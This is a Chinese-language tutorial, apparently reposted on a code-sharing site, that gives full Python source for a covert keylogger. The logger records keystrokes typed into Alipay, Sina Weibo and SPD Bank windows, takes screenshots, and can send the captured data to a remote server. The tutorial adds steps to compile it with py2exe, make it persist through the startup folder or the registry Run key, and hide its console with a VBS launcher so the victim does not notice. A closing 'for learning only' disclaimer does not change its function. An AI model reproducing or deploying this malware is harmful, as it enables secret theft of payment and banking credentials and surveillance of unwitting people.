pyHook監聽用戶鼠標、鍵盤事件


一、代碼部分:獲取用戶輸入信息,並與截圖一起保存到XX目錄下
 
# -*- coding: utf-8 -*- #
 
import pythoncom
import pyHook   
import time
import socket
from PIL import ImageGrab
 
#
#如果是遠程監聽某個目標電腦,可以自己架設一個服務器,然后將獲取到的信息發回給服務器
#
def send_msg_to_server(msg):
     host = ""
     port = 1234
     buf_size = 1024
     addr = (host,port)
     if len (msg)> 0 :
         tcp_client_sock = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
         tcp_client_sock.connect(addr)
         info = time.strftime( '%Y%m%d%H%M%S' ,time.localtime(time.time())) + ' from ' + socket.gethostname() + ':'
         tcp_client_sock.sendall(info + msg)
         tcp_client_sock.close()
         
#
#也可以將獲取到的信息保存到本地文件下
#
def write_msg_to_txt(msg):   
     f = open ( 'D:/workspace/mytest/pyhook/media/monitor.txt' , 'a' )
     f.write(msg + '\r\n' )
     f.close()
 
def onMouseEvent(event):
     # 監聽鼠標事件    
     global MSG
     if len (MSG)! = 0 :       
         #send_msg_to_server(MSG)
         write_msg_to_txt(MSG)
         MSG = ''
         pic_name = time.strftime( '%Y%m%d%H%M%S' ,time.localtime(time.time()))
         #將用戶屏幕截圖,保存到本地某個目錄下(也可以搞成遠程發送到自己的服務器)
         pic = ImageGrab.grab()
         pic.save( 'D:/workspace/mytest/pyhook/media/mouse_%s.png' % pic_name)
     return True
   
def onKeyboardEvent(event):
     #監聽鍵盤事件
     global MSG
     title = event.WindowName.decode( 'GBK' )
     #通過網站title,判斷當前網站是否是“監聽目標”
     if title.find(u "支付寶" ) ! = - 1 or title.find(u '新浪微博' )! = - 1 or title.find(u '浦發銀行' )! = - 1 :
         #Ascii:  8-Backspace , 9-Tab ,13-Enter
         if ( 127 > = event.Ascii > 31 ) or (event.Ascii = = 8 ):
             MSG + = chr (event.Ascii)              
         if (event.Ascii = = 9 ) or (event.Ascii = = 13 ):           
             #send_msg_to_remote(MSG)
             write_msg_to_txt(MSG)
             MSG = ''
             #屏幕抓圖實現
             pic_name = time.strftime( '%Y%m%d%H%M%S' ,time.localtime(time.time()))
             pic = ImageGrab.grab()
             #保存成為以日期命名的圖片
             pic.save( 'D:/workspace/mytest/pyhook/media/keyboard_%s.png' % pic_name)
     return True
  
if __name__ = = "__main__" :    
     MSG = ''  
     #創建hook句柄
     hm = pyHook.HookManager()
 
     #監控鼠標
     hm.SubscribeMouseLeftDown(onMouseEvent)
     hm.HookMouse()
 
     #監控鍵盤
     hm.KeyDown = onKeyboardEvent
     hm.HookKeyboard()
 
     #循環獲取消息
     pythoncom.PumpMessages()
 
二、用py2exe將腳本打包:
     新建一個py文件setup.py,內容如下:
     from distutils.core import setup
     import py2exe
     setup(console = [ "monitor.py" ])
     #setup(windows=["monitor.py"])
 
     命令行執行以下命令:
     python setup.py py2exe
    
三、將該程序設置為開機自動啟動:
     法①:
     將需要開機啟動的文件(創建一個快捷方式,然后)放到“開始 / 所有程序 / 啟動”目錄下
     法②:
     修改注冊表:命令行— regedit ,然后到以下路徑下:
     [HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run]  
 
     新建一個“字符串值”,然后編輯:設置exe文件所在路徑
     D:\workspace\mytest\pyhook\dist\monitor.exe
    
    (以上兩種方式啟動monitor.exe的話,會彈出一個命令框,顯示監聽日志信息,這樣的話,被監聽的人一下就能發現了,可以試試下面這個方式)
     法③:
     新建一個 .vbs文件,內容如下:
     set wscriptObj = CreateObject( "Wscript.Shell" )
     wscriptObj.run “D:\workspace\mytest\pyhook\dist\monitor.exe", 0
 
     雙擊運行該vbs文件,則monitor.exe就在后台啟動了(不會彈出一個大黑框)。
     然后參考法①、② 把該vbs設置成開機啟動即可。
 
附言:
1 、該程序涉及到一些模塊都需要自己安裝一下;
2 、文章中凡是“D:\workspace....”這樣的路徑都需要改成自己的真實路徑;
3 、代碼僅供分享、學習,請勿干非法的事;
4 、我也是初學,所以請隨便噴;


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM